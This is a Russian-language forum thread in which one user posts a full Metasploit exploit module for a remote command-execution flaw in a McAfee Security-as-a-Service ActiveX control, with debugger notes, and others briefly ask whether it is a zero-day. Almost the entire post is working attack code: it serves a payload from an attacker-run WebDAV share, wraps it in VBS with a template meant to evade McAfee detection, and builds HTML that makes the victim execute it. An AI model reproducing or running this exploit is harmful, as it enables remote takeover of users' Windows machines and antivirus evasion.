McAfee SaaS MyCioScan ShowReport Remote Command Execution

Тема в разделе "WASM.HEAP", создана пользователем micro, 26 янв 2012.

  1. micro

    micro New Member

    Публикаций:
    0
    Регистрация:
    24 июл 2010
    Сообщения:
    121
    Код (Text):
    1. ##
    2. # This file is part of the Metasploit Framework and may be subject to
    3. # redistribution and commercial restrictions. Please see the Metasploit
    4. # Framework web site for more information on licensing and terms of use.
    5. # http://metasploit.com/framework/
    6. ##
    7.  
    8. require 'msf/core'
    9.  
    10. class Metasploit3 < Msf::Exploit::Remote
    11.     Rank = NormalRanking
    12.  
    13.     include Msf::Exploit::FILEFORMAT
    14.     include Msf::Exploit::Remote::HttpServer::HTML
    15.     include Msf::Exploit::EXE
    16.  
    17.     def initialize(info={})
    18.         super(update_info(info,
    19.             'Name'           => "McAfee SaaS MyCioScan ShowReport Remote Command Execution",
    20.             'Description'    => %q{
    21.                     This module exploits a vulnerability found in McAfee Security-as-a-Service.
    22.                 The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails
    23.                 to check the FileName argument, and passes it on to a ShellExecuteW() function,
    24.                 therefore allows any malicious attacker to execute any process that's on the
    25.                 local system.  However, if the victim machine is connected to a remote share (
    26.                 or something similiar), then it's also possible to execute arbitrary code.
    27.                 Please note that a custom template is required for the payload, because the
    28.                 default Metasploit template is detectable by McAfee -- any Windows binary, such
    29.                 as calc.exe or notepad.exe, should bypass McAfee fine.
    30.             },
    31.             'License'        => MSF_LICENSE,
    32.             'Author'         =>
    33.                 [
    34.                     'rgod',    #Initial discovery
    35.                     'sinn3r',  #Metasploit
    36.                 ],
    37.             'References'     =>
    38.                 [
    39.                     ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-012'],
    40.                 ],
    41.             'Payload'        =>
    42.                 {
    43.                     'BadChars' => "\x00",
    44.                 },
    45.             'DefaultOptions'  =>
    46.                 {
    47.                     'ExitFunction' => "none",
    48.                     #'InitialAutoRunScript' => 'migrate -f',
    49.                     'DisablePayloadHandler' => 'false',
    50.                 },
    51.             'Platform'       => 'win',
    52.             'Targets'        =>
    53.                 [
    54.                     ['Internet Explorer', {}],
    55.                 ],
    56.             'Privileged'     => false,
    57.             'DisclosureDate' => "Apr 1 2011",
    58.             'DefaultTarget'  => 0))
    59.  
    60.         register_options([
    61.             OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
    62.             OptString.new('SHARENAME', [ true, "The name of the top-level share.", "files"]),
    63.             OptString.new('URIPATH',   [ true, "The URI to use", "/" ]),
    64.             OptString.new('FILENAME',  [ true, 'The file name.', 'msf.html']),
    65.             OptPath.new('TEMPLATE',    [true, 'A custom template for the payload in order to bypass McAfee', ''])
    66.         ], self.class)
    67.     end
    68.  
    69.     def on_request_uri(cli, request)
    70.         case request.method
    71.         when 'OPTIONS'
    72.             process_options(cli, request)
    73.         when 'PROPFIND'
    74.             process_propfind(cli, request)
    75.         when 'GET'
    76.             process_get(cli, request)
    77.         else
    78.             print_status("#{cli.peerhost}:#{cli.peerport} #{request.method} => 404 (#{request.uri})")
    79.             resp = create_response(404, "Not Found")
    80.             resp.body = ""
    81.             resp['Content-Type'] = 'text/html'
    82.             cli.send_response(resp)
    83.         end
    84.     end
    85.  
    86.     def process_get(cli, request)
    87.         print_status("URI requested: #{request.uri.to_s}")
    88.  
    89.         if request.uri =~ /\.vbs$/i
    90.             # Depending on the connection speed, this might take a moment to transfer the
    91.             # payload and actually get executed
    92.             send_response(cli, @vbs, {'Content-Type'=>'application/octet-stream'})
    93.             print_status("executable sent")
    94.         else
    95.             # Don't know the request, return not found
    96.             print_error("Don't care about this file, 404")
    97.             send_not_found(cli)
    98.         end
    99.  
    100.         return
    101.     end
    102.  
    103.     def process_options(cli, request)
    104.         vprint_status("#{cli.peerhost}:#{cli.peerport} OPTIONS #{request.uri}")
    105.         headers = {
    106.             'MS-Author-Via' => 'DAV',
    107.             'DASL'          => '<DAV:sql>',
    108.             'DAV'           => '1, 2',
    109.             'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
    110.             'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
    111.             'Cache-Control' => 'private'
    112.         }
    113.  
    114.         resp = create_response(207, "Multi-Status")
    115.         headers.each_pair {|k,v| resp[k] = v }
    116.         resp.body = ''
    117.         resp['Content-Type'] = 'text/xml'
    118.         cli.send_response(resp)
    119.     end
    120.  
    121.     def process_propfind(cli, request)
    122.         path = request.uri
    123.         vprint_status("Received WebDAV PROPFIND request from #{cli.peerhost}:#{cli.peerport} #{path}")
    124.         body = ''
    125.  
    126.         my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    127.         my_uri  = "http://#{my_host}/"
    128.  
    129.         if path !~ /\/$/
    130.             if path.index(".")
    131.                 print_status("Sending 404 for #{path} ...")
    132.                 resp = create_response(404, "Not Found")
    133.                 resp['Content-Type'] = 'text/html'
    134.                 cli.send_response(resp)
    135.                 return
    136.             else
    137.                 print_status("Sending 301 for #{path} ...")
    138.                 resp = create_response(301, "Moved")
    139.                 resp["Location"] = path + "/"
    140.                 resp['Content-Type'] = 'text/html'
    141.                 cli.send_response(resp)
    142.                 return
    143.             end
    144.         end
    145.  
    146.         print_status("Sending directory multistatus for #{path} ...")
    147.  
    148.         body = <<-BODY
    149.         <?xml version="1.0" encoding="utf-8"?>
    150.         <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
    151.         <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    152.         <D:href>#{path}</D:href>
    153.         <D:propstat>
    154.         <D:prop>
    155.         <lp1:resourcetype><D:collection/></lp1:resourcetype>
    156.         <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
    157.         <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
    158.         <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    159.         <D:supportedlock>
    160.         <D:lockentry>
    161.         <D:lockscope><D:exclusive/></D:lockscope>
    162.         <D:locktype><D:write/></D:locktype>
    163.         </D:lockentry>
    164.         <D:lockentry>
    165.         <D:lockscope><D:shared/></D:lockscope>
    166.         <D:locktype><D:write/></D:locktype>
    167.         </D:lockentry>
    168.         </D:supportedlock>
    169.         <D:lockdiscovery/>
    170.         <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    171.         </D:prop>
    172.         <D:status>HTTP/1.1 200 OK</D:status>
    173.         </D:propstat>
    174.         </D:response>
    175.         BODY
    176.  
    177.         body = body.gsub(/^\t\t/, '')
    178.  
    179.         if request["Depth"].to_i > 0
    180.             if path.scan("/").length < 2
    181.                 body << generate_shares(path)
    182.             else
    183.                 # Set payload name, and set the hidden attribute.  True means visible
    184.                 filenames = [ [@vbs_name, false] ]
    185.                 body << generate_files(path, filenames)
    186.             end
    187.         end
    188.  
    189.         body << "</D:multistatus>"
    190.  
    191.         body.gsub!(/\t/, '')
    192.  
    193.         # send the response
    194.         resp = create_response(207, "Multi-Status")
    195.         resp.body = body
    196.         resp['Content-Type'] = 'text/xml; charset="utf8"'
    197.         cli.send_response(resp)
    198.     end
    199.  
    200.     def gen_timestamp(ttype=nil)
    201.         ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
    202.     end
    203.  
    204.     def gen_datestamp(ttype=nil)
    205.         ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
    206.     end
    207.  
    208.     def generate_shares(path)
    209.         share_name = datastore['SHARENAME']
    210.         share = <<-SHARE
    211.         <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    212.         <D:href>#{path}#{share_name}/</D:href>
    213.         <D:propstat>
    214.         <D:prop>
    215.         <lp1:resourcetype><D:collection/></lp1:resourcetype>
    216.         <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
    217.         <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
    218.         <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    219.         <D:supportedlock>
    220.         <D:lockentry>
    221.         <D:lockscope><D:exclusive/></D:lockscope>
    222.         <D:locktype><D:write/></D:locktype>
    223.         </D:lockentry>
    224.         <D:lockentry>
    225.         <D:lockscope><D:shared/></D:lockscope>
    226.         <D:locktype><D:write/></D:locktype>
    227.         </D:lockentry>
    228.         </D:supportedlock>
    229.         <D:lockdiscovery/>
    230.         <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
    231.         </D:prop>
    232.         <D:status>HTTP/1.1 200 OK</D:status>
    233.         </D:propstat>
    234.         </D:response>
    235.         SHARE
    236.         share = share.gsub(/^\t\t/, '')
    237.         return share
    238.     end
    239.  
    240.     def generate_files(path, items)
    241.         trail = path.split("/")
    242.         return "" if trail.length < 2
    243.  
    244.         files = ""
    245.         items.each do |f, hide|
    246.             h = hide ? '1' : '0'
    247.             files << <<-FILES
    248.             <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
    249.             <D:href>#{path}#{f}</D:href>
    250.             <D:propstat>
    251.             <D:prop>
    252.             <lp1:resourcetype/>
    253.             <lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
    254.             <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
    255.             <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
    256.             <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
    257.             <lp2:executable>T</lp2:executable>
    258.             <D:supportedlock>
    259.             <D:lockentry>
    260.             <D:lockscope><D:exclusive/></D:lockscope>
    261.             <D:locktype><D:write/></D:locktype>
    262.             </D:lockentry>
    263.             <D:lockentry>
    264.             <D:lockscope><D:shared/></D:lockscope>
    265.             <D:locktype><D:write/></D:locktype>
    266.             </D:lockentry>
    267.             </D:supportedlock>
    268.             <D:lockdiscovery/>
    269.             <D:getcontenttype>application/octet-stream</D:getcontenttype>
    270.             </D:prop>
    271.             <D:status>HTTP/1.1 200 OK</D:status>
    272.             <D:ishidden b:dt="boolean">#{h}</D:ishidden>
    273.             </D:propstat>
    274.             </D:response>
    275.             FILES
    276.         end
    277.  
    278.         files = files.gsub(/^\t\t\t/, '')
    279.  
    280.         return files
    281.     end
    282.  
    283.     def get_payload
    284.         fname = rand_text_alpha(5) + ".vbs"
    285.         p = payload.encoded
    286.         exe = Msf::Util::EXE.to_win32pe($framework, p, {:inject=>true, :template=>datastore['TEMPLATE']})
    287.         vbs = Msf::Util::EXE.to_exe_vbs(exe)
    288.         return fname, vbs
    289.     end
    290.  
    291.     def exploit
    292.         @vbs_name, @vbs = get_payload
    293.  
    294.         #
    295.         # progid: MYCIOSCNLib.Scan
    296.         # clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7
    297.         #
    298.         myhost   = datastore['LHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['LHOST']
    299.         obj_name = rand_text_alpha(rand(6) + 3)
    300.         sub_name = rand_text_alpha(rand(6) + 3)
    301.         html = <<-HTML
    302.         <html>
    303.         <head>
    304.         </head>
    305.         <body>
    306.         <object classid='clsid:209EBDEE-065C-11D4-A6B8-00C04F0D38B7' id='#{obj_name}'></object>
    307.         <script language='vbscript'>
    308.         sub #{sub_name}
    309.         #{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}\\#{@vbs_name}"
    310.         end sub
    311.  
    312.         #{obj_name}.ShowReport "\\\\#{myhost}\\#{datastore['SHARENAME']}"
    313.         window.setTimeout "#{sub_name}", 1000
    314.         </script>
    315.         </body>
    316.         </html>
    317.         HTML
    318.  
    319.         html = html.gsub(/^\t\t/, '')
    320.         file_create(html)
    321.         print_status("#{datastore['FILENAME']} must be run locally in order to execute our payload")
    322.  
    323.         super
    324.     end
    325.  
    326. end
    327.  
    328. =begin
    329. myCIOScn!CScnXml::SetNumScanned+0x19ab:
    330. 2101caf9 55              push    ebp
    331.  
    332. 0:003> lmv m myCIOScn
    333. start    end        module name
    334. 21000000 2106d000   myCIOScn   (export symbols)       C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    335.     Loaded symbol image file: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    336.     Image path: C:\PROGRA~1\McAfee\MANAGE~1\VScan\myCIOScn.dll
    337.     Image name: myCIOScn.dll
    338.     Timestamp:        Wed Aug 10 11:34:01 2011 (4E42CF19)
    339.     CheckSum:         0007C3A6
    340.     ImageSize:        0006D000
    341.     File version:     5.2.3.104
    342.     Product version:  5.2.0.0
    343.     File flags:       0 (Mask 3F)
    344.     File OS:          40004 NT Win32
    345.     File type:        1.0 App
    346.     File date:        00000000.00000000
    347.     Translations:     0409.04b0
    348.     CompanyName:      McAfee, Inc.
    349.     ProductName:      McAfee® Security-as-a-Service
    350.     InternalName:     myCioScn
    351.     OriginalFilename: myCioScn.DLL
    352.     ProductVersion:   5.2.3
    353.     FileVersion:      5.2.3.104
    354.     PrivateBuild:     5.2.3.104
    355.     SpecialBuild:     FULL
    356.     FileDescription:  myCioScn Module
    357.  
    358. .text:2101CB1A                 push    esi
    359. .text:2101CB1B                 push    1
    360. .text:2101CB1D                 xor     esi, esi
    361. .text:2101CB1F                 push    esi
    362. .text:2101CB20                 push    esi
    363. .text:2101CB21                 push    eax             ; we own this
    364. .text:2101CB22                 push    offset aOpen    ; "open"
    365. .text:2101CB27                 push    esi
    366. .text:2101CB28                 mov     [ebp+0A50h+Str], eax
    367. .text:2101CB2B                 call    off_2105D350    ; ShellExecuteW
    368. =end
     
  2. yashechka

    yashechka Ростовский фанат Нарвахи

    Публикаций:
    90
    Регистрация:
    2 янв 2012
    Сообщения:
    1.449
    Адрес:
    Россия
    И что? Это 0 day сплоит?
     
  3. micro

    micro New Member

    Публикаций:
    0
    Регистрация:
    24 июл 2010
    Сообщения:
    121
    Все вопросы к Крису :)